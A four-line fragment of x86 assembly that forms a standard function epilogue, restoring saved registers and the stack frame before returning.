pop ebx
mov esp, ebp
pop ebp
ret